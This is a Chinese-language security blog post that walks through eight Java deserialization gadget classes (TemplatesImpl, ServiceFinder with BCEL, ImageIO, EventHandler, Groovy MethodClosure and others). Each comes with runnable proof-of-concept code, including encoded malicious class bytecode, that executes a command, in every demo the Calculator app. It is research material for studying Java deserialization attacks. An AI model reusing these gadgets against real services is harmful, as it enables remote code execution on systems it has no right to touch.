Java反序列化1—反序列化常见利用类

2022-04-14  本文已影响0人  AxisX

利用类的作用:加载类或者执行命令。因为本文的重点放在了利用类本身,从反序列化入口到利用类的链条就不介绍了。

// 类加载
(1)com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(BeanComparator、EqualsBean/ToStringBean可以间接调用TemplatesImpl)
(2)java.util.ServiceLoader$LazyIterator / com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator (配合BCEL)
// 反射调用
(3)javax.imageio.ImageIO$ContainsFilter
(4)java.beans.EventHandler
(5)com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection
// 非JDK自带
(6)org.codehaus.groovy.runtime.MethodClosure
(7)org.codehaus.groovy.runtime.ConvertedClosure
(8)groovy.util.Expando

(1)TemplatesImpl

TemplatesImpl用于CommonsBeanutils、Fastjson,其调用链如下,核心在于得到恶意类的Class对象。然后执行newInstance()操作触发static代码块中的恶意代码

TemplatesImpl.getOutputProperties()
  TemplatesImpl.newTransformer()
    TemplatesImpl.getTransletInstance()
        TemplatesImpl.defineTransletClasses()
            ClassLoader.defineClass()
                Class.newInstance()

具体调用过程如下,

public synchronized Properties getOutputProperties() {
    return newTransformer().getOutputProperties();
}

public synchronized Transformer newTransformer() throws TransformerConfigurationException
    {
        TransformerImpl transformer;
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
    }

private Translet getTransletInstance() throws TransformerConfigurationException {
    if (_name == null) return null; // 为了执行到下面的代码,_name不能为null(_name代表主类的名称)
    if (_class == null) defineTransletClasses(); // _class:包含translet类定义的实际类

    // newInstance时会被转换为AbstractTranslet,所以恶意类需要继承自AbstractTranslet
    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    ...
    return translet;
}

private void defineTransletClasses() throws TransformerConfigurationException {
    final int classCount = _bytecodes.length;
    _class = new Class[classCount];

    for (int i = 0; i < classCount; i++) {
        _class[i] = loader.defineClass(_bytecodes[i]); // _bytecodes设置为恶意类的字节码
        final Class superClass = _class[i].getSuperclass();

        // Check if this is the main class
        if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
            _transletIndex = i;
        }
        else {
            _auxClasses.put(_class[i].getName(), _class[i]);
        }
   }
}

Class defineClass(final byte[] b) {
    return defineClass(null, b, 0, b.length);
}

Demo如下,其核心在于getTransInstance()会调用defineTransletClasses()加载字节码为Class,然后.newInstance()进行实例化

public class TemplateTest {
    public static void main(String[] args) throws IllegalAccessException, InstantiationException, NoSuchFieldException, IOException {
        String cmdb64="yv66vgAAADQAQAoACwAmCQAnACgIACkKACoAKwoALAAtCAAuCgAsAC8HADAIADEHADIHADMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE0xUZW1wbGF0ZXNJbXBsVGVzdDsBAA1TdGFja01hcFRhYmxlBwAyBwAwAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADQBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAFlRlbXBsYXRlc0ltcGxUZXN0LmphdmEMAAwADQcANQwANgA3AQAcVGVtcGxhdGVzSW1wbCBDb25zdHVjdG9yIHJ1bgcAOAwAOQA6BwA7DAA8AD0BABJvcGVuIC1hIENhbGN1bGF0b3IMAD4APwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFUZW1wbGF0ZXNJbXBsIHJ1bgEAEVRlbXBsYXRlc0ltcGxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAQAAQAMAA0AAQAOAAAAcgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABYABQAAAA8ABAARAAwAEgAVABMAGQAUABAAAAAMAAEAAAAaABEAEgAAABMAAAAQAAL/ABgAAQcAFAABBwAVAAABABYAFwACAA4AAAA/AAAAAwAAAAGxAAAAAgAPAAAABgABAAAAGQAQAAAAIAADAAAAAQARABIAAAAAAAEAGAAZAAEAAAABABoAGwACABwAAAAEAAEAHQABABYAHgACAA4AAABJAAAABAAAAAGxAAAAAgAPAAAABgABAAAAHgAQAAAAKgAEAAAAAQARABIAAAAAAAEAGAAZAAEAAAABAB8AIAACAAAAAQAhACIAAwAcAAAABAABAB0ACAAjAA0AAQAOAAAAVwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAEgAEAAAACgAIAAsAEQAMABUADQAQAAAAAgAAABMAAAAHAAJUBwAVAAABACQAAAACACU=";
        BASE64Decoder decoder=new sun.misc.BASE64Decoder();
        byte[] classBytes=decoder.decodeBuffer(cmdb64);
        TemplatesImpl templates=TemplatesImpl.class.newInstance();
        Field f1=templates.getClass().getDeclaredField("_bytecodes");
        f1.setAccessible(true);
        f1.set(templates,new byte[][]{classBytes});
        Field f2=templates.getClass().getDeclaredField("_name");
        f2.setAccessible(true);
        f2.set(templates,"TemplatesImplTest");
        Field f3=templates.getClass().getDeclaredField("_tfactory");
        f3.setAccessible(true);
        f3.set(templates,TransformerFactoryImpl.class.newInstance());
        templates.getOutputProperties(); // 触发
    }
}

需要注意引入的包是这两个(这种更通用,没有类路径限制)

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

与之类似的还有这种(类路径上有需要有Xalan实现)

import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;

BeanComparator触发

BeanComparator中的compare方法,参数传入两个对象,然后比较这两个对象的属性,也就是说getProperty(o1,property)这步会调用o1的property属性。也就是调用o1这个类中对应的getxxProperty()方法。而TemplatesImpl链的入口正是TemplatesImpl.getOutputProperties()所以只需要o1传入TemplatesImplproperty传入_outputProperties

BeanComparator

ToStringBean触发

ToStringBeantoString方法获取beanClass所有的带有getter方法的属性,然后invoke(this.obj)反射调用getter方法,但是这个invoke的限制是不能传入参数,所以在利用时需要选取无参方法

ToStringBean.toString
getPropertyDescriptorsWithGetters方法如下:
BeanIntrospector.getPropertyDescriptorsWithGetters()

(2)ServiceLoader

先说一下SPI(Service Provider Interface),JDK内置的服务提供发现机制。Service通常指接口/抽象类,Provider则是接口的具体实现。假设Service接口为HelloService,它的实现类Provider可能包括EnglishHelloServiceImplChineseHelloServiceImpl等,
那么可以在/META-INF/services/目录下创建一个Service的全限定类名命名的文件例如com.axisx.Service,文件的具体内容如下

com.axisx.impl.EnglishHelloServiceImpl
com.axisx.impl.ChineseHelloServiceImpl

这样就可以直接调用服务对应的各类Provider

ServiceLoader<HelloService> serviceLoader = ServiceLoader.load(HelloService.class);
Iterator<HelloService> it = serviceLoader.iterator();
while (it!=null && it.hasNext()) {
     DemoService demoService = it.next();
 }

上一篇提到过BCEL还可以用Class.forName来写

        ClassLoader classLoader= new ClassLoader();
        String bcelCode="$$BCEL$$...";
//        new ClassLoader().loadClass(bcelCode).newInstance();
        Class.forName(bcelCode,true,classLoader);

ServiceLoader的内部类LazyIterator中存在Class.forName方法,loader是该内部类构造方法传入的

ServiceLoader中的Class.forName
nextService方法的触发是LazyIterator.next(),那么就需要找到类似this.serviceIterator.hasNext()的代码来触发。与ServiceLoader类似的还有ServiceFinder,同样可以调用Class.forName
ServiceFinder.next()
以ServiceFinder为例,cn字符串传入由内部类ServiceNameclassName字段控制。生成的ServiceName需要放入LazyIterator1names数组中。loader由自身构造函数LazyIterator传入。
   private static class LazyIterator<T> implements Iterator<T> {
        Class<T> service;
        @Nullable
        ClassLoader loader;
        ServiceFinder.ServiceName[] names;
        int index;
        ...
    }

    private static class ServiceName {
        final String className;
        final URL config;

        public ServiceName(String className, URL config) {
            this.className = className;
            this.config = config;
        }
    }

由于是内部类用反射来写。

public class ServiceLoadTest {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
        Class ServiceName=Class.forName("com.sun.xml.internal.ws.util.ServiceFinder$ServiceName");
        Constructor constructor1=ServiceName.getConstructor(String.class, URL.class);
        constructor1.setAccessible(true);
        String bcelCode="$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbn$T1$U$3dN$sq2L$a1$992$e5MSZhRhg$c3$$$V$9b$aal$Y$a0$oU$bbv$8c$V$5c$s$e3h$e2$a9$ca$X$b1$$$8b$82X$f0$B$7c$U$e2$da$94$3e$E$96$7c$af$ee9$f7$9c$eb$c7$cf_$df$7f$Ax$8e4D$88$5bm$dc$c6$9d$W$ee$86$b8$87$fb$n$k$e0a$LK$$w9$969$kq$ac04$b7t$a1$ed$L$86z$af$bf$cf$Ql$9b$f7$8a$e1F$a6$L$f5$a6$9a$8cT$b9$tF9$nqf$a4$c8$f7E$a9$5d$7d$G$G$f6$83$9e$91G$b6s$a4$f3$BCkK$e6gvsC$x$e4$c7$d7b$ea$5bi$mC84U$v$d5K$ed$a4m$t$d9$3c$UG$o$c25D$i$ab$R$k$e3$Jy8$a2$5bV$F$c7Z$84$k$fa$i$eb$R$9e$e2$Z$9d$c1LU$d1$dd$Q$ddm$91$cb$w$X$d6$94$R6$b0$c9$b0$e0$8c$d2$5c$U$e3t$e7X$aa$a9$d5$a6$a0$e39$x$86$f9$L$f2$ed$e8PI$7b$F$g$7e$9aY5$a1$fb$9b$8a$88$q$f3$8c6$e9n$a9$L$3b$b4$a5$S$93$c1$df$BWa$G$3euUN$a3$92$5ev$c9$d2$S$3c$k$b8$f7$ec$5c$a0$ef$aa$c2$ea$J$5d$3d$i$x$7b$5e$q$bd$7e$f6O$P$N$M$d4$b1$92$Mk$ff$f3$bd$E$ed$96F$aa$d9l$80e$b4$e9$cf$dd$aa$81$b9$X$a58GUJ$99Qn$ac$7f$F$3b$f1$f4u$8aM$P$d2GS$8c$fe4$60$k$j$ca$z$c4$e7$e2$Do$G$y$7eA$z$ae$9f$o$f8$86F$dc$3c$F$3f$f8$8c$e0$d5$89$e7$3a$b8I$9a$baw$8d$RP$M$a8n$Q$deD$C$ee$t$d4h$_$d0$e6$a8$edq$ea$ta$e2$e1$c5$dfb$c3$e7P$b3$C$A$A";
        Object ServiceNameObj=constructor1.newInstance(bcelCode,null);
        Object ServiceNameArray= Array.newInstance(ServiceName,1);
        Array.set(ServiceNameArray,0,ServiceNameObj);

        Class LazyIterator=Class.forName("com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator");
        Constructor constructor2=LazyIterator.getDeclaredConstructors()[1];
        constructor2.setAccessible(true);
        Object LazyIteratorObj=constructor2.newInstance(String.class,new ClassLoader());
        Field f1=LazyIterator.getDeclaredField("names");
        f1.setAccessible(true);
        f1.set(LazyIteratorObj,ServiceNameArray);
        Method m1=LazyIterator.getDeclaredMethod("next"); //触发
        m1.setAccessible(true);
        m1.invoke(LazyIteratorObj,null);
    }
}

(3)ImageIO

javax.imageio.ImageIO$ContainsFilter,一眼看过去就存在明显的反射,某个类的方法。但是invoke后面只能传入Object对象,也就是这个方法需要无参

ImageIO$ContainsFilter.invoke()
例如调用ProcessBuilder执行命令
public class ImageIOTest {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
        Class ProcessBuilder=Class.forName("java.lang.ProcessBuilder");
        Constructor constructor1=ProcessBuilder.getConstructor(String[].class);
        constructor1.setAccessible(true);
        Object Pro=constructor1.newInstance((Object)cmd);
        Method m1=ProcessBuilder.getDeclaredMethod("start");
//        m1.invoke(Pro);
        Class ContainsFilter=Class.forName("javax.imageio.ImageIO$ContainsFilter");
        Constructor constructor2=ContainsFilter.getConstructor(Method.class,String.class);
        constructor2.setAccessible(true);
        Object Obj=constructor2.newInstance(m1,"lalala");
        Method m2=ContainsFilter.getDeclaredMethod("filter",Object.class);
        m2.setAccessible(true);
        m2.invoke(Obj,Pro);
    }
}

(4)EventHandler

看一下java.beans.EventHandler源码,invokeInternal同样用到了反射,并且EventHandler的构造函数,可以控制targetaction,最终反射用到的targetMethod是根据targetaction生成的所以也是可控。

public EventHandler(Object target, String action, String eventPropertyName, String listenerMethodName) 

但是想要执行到反射代码,method名称不能为hashCode、equals、toString,否则运行不到最后。另外Method的参数要么是空,要么是单个参数

EventHandler.invokeInternal

调用invokeInternal写个demo

public class EventHandlerTest {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
        Class ProcessBuilder=Class.forName("java.lang.ProcessBuilder");
        Constructor constructor1=ProcessBuilder.getConstructor(String[].class);
        constructor1.setAccessible(true);
        Object Pro=constructor1.newInstance((Object)cmd);
        Method m1=ProcessBuilder.getDeclaredMethod("start");

        Class EventHandler=Class.forName("java.beans.EventHandler");
        Constructor constructor2=EventHandler.getConstructor(Object.class,String.class,String.class,String.class);
        constructor2.setAccessible(true);
        Object Handler=constructor2.newInstance(Pro,"start",null,null);
        Method m2=EventHandler.getDeclaredMethod("invokeInternal",Object.class,Method.class,Object[].class);
        Object[] objects=new Object[]{Pro};
        m2.setAccessible(true);
        m2.invoke(Handler,null,m1,objects);
    }
}

(5)GetterSetterReflection

com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection也是一个invoke的反射调用,但是invoke中只能传入类对象,无法传入参数。所以不能采用Runtime.exec(cmd)这种需要传参的命令执行方法,而是采用ProcessBuilder.start()等无参方法

GetterSetterReflection
public class GetterSetterReflectionTest {
    public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, AccessorException {
        String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};

        Class ProcessCls=Class.forName("java.lang.ProcessBuilder");
        Constructor constructor1=ProcessCls.getConstructor(String[].class);
        constructor1.setAccessible(true);
        Object ProcessBuilderObj=constructor1.newInstance((Object) cmd);
        Method m1=ProcessCls.getDeclaredMethod("start");
        m1.setAccessible(true);
//        m1.invoke(ProcessBuilderObj);

        Class cls=Class.forName("com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection");
        Constructor constructor=cls.getConstructor(Method.class,Method.class);
        constructor.setAccessible(true);
        Accessor.GetterSetterReflection GetterObj= (Accessor.GetterSetterReflection) constructor.newInstance(m1,null);
        GetterObj.get(ProcessBuilderObj);
    }
}

(6)MethodClosure(Groovy)

这个类位于Groovy的jar包中,属于非JDK自带的类,org.codehaus.groovy.runtime.MethodClosure

MethodClosure
doCall方法明显是反射执行方法,写脚本测试一下
public class MethodClosureTest {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Object methodArgs="open -a Calculator";
        MethodClosure methodClosure=new MethodClosure(Runtime.getRuntime(),"exec");
//        methodClosure.call(methodArgs);
        Method m1=methodClosure.getClass().getDeclaredMethod("doCall", Object.class);
        m1.setAccessible(true);
        m1.invoke(methodClosure,methodArgs);
    }
}

或者用ProcessBuilder

public class MethodClosureTest {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Object obj=null;
        String[] methodArgs= new String[]{"open","-a","/System/Applications/Calculator.app"};
        MethodClosure methodClosure=new MethodClosure(new ProcessBuilder(methodArgs),"start");
        Method m1=methodClosure.getClass().getDeclaredMethod("doCall", Object.class);
        m1.setAccessible(true);
        m1.invoke(methodClosure,obj);
    }
}

(7)ConvertedClosure(Groovy)

一个动态代理的Demo,handler需要实现InvocationHandler,重写了invoke方法,那么在执行Proxy.newProxyInstance时自动调用invoke方法

public class Main {
    public static void main(String[] args) {
        InvocationHandler handler = new InvocationHandler() {
            @Override
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                System.out.println(method);
                if (method.getName().equals("morning")) {
                    System.out.println("Good morning, " + args[0]);
                }
                return null;
            }
        };
        Hello hello = (Hello) Proxy.newProxyInstance(
            Hello.class.getClassLoader(), // 传入ClassLoader
            new Class[] { Hello.class }, // 传入要实现的接口
            handler); // 传入处理调用方法的InvocationHandler
        hello.morning("Bob");
    }
}

interface Hello {
    void morning(String name);
}

ConvertedClosure的源码如下,继承自ConversionHandler

ConvertedClosure
ConversionHandler实现了InvocationHandler,并重写了invoke方法。所以如果执行Proxy.newProxyInstance就会调用这个invoke。invoke方法根据传入的method参数不同进入不同的逻辑。
if:传入的method所属类为接口,
else if:传入的method不是Object对象中的方法(如hashcode、toString等),这步的checkMethod具体的判断代码是return Object.class.equals(method.getDeclaringClass());
所以传入Runtime.getRuntime.exec这种命令执行方法,会走到else if中,调用ConvertedClosure.invokeCustom(),进而执行call方法,反射执行方法。
ConversionHandler
所以下面demo中的后两步就在触发动态代理的invoke,进而触发invokeCustom
public class ConvertedClosureTest {
    public static void main(String[] args) {
        String[] methodArgs= new String[]{"open","-a","/System/Applications/Calculator.app"};
        MethodClosure methodClosure=new MethodClosure(new ProcessBuilder(methodArgs),"start");
        ConvertedClosure convertedClosure=new ConvertedClosure(methodClosure,"entrySet");
        Map map= (Map) Proxy.newProxyInstance(ConvertedClosureTest.class.getClassLoader(), new Class[]{Map.class},convertedClosure);
        map.entrySet();
    }
}

(8)Expando(Groovy)

Expando

同样是调用call方法,只是需要properties中存在一个键为hashCode,值为Closure的子类

Expando#hashCode
利用上述的MethodClosure.call(),也就是将值传为MethodClosure
public class ExpandoTest {
    public static void main(String[] args) {
        Map map = new HashMap<Expando, Integer>();
        Expando expando = new Expando();
        String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
        MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder(cmd), "start");
//        methodClosure.call();
        expando.setProperty("hashCode", methodClosure);
        map.put(expando, 123);
        expando.hashCode();
    }
}
上一篇下一篇

猜你喜欢

热点阅读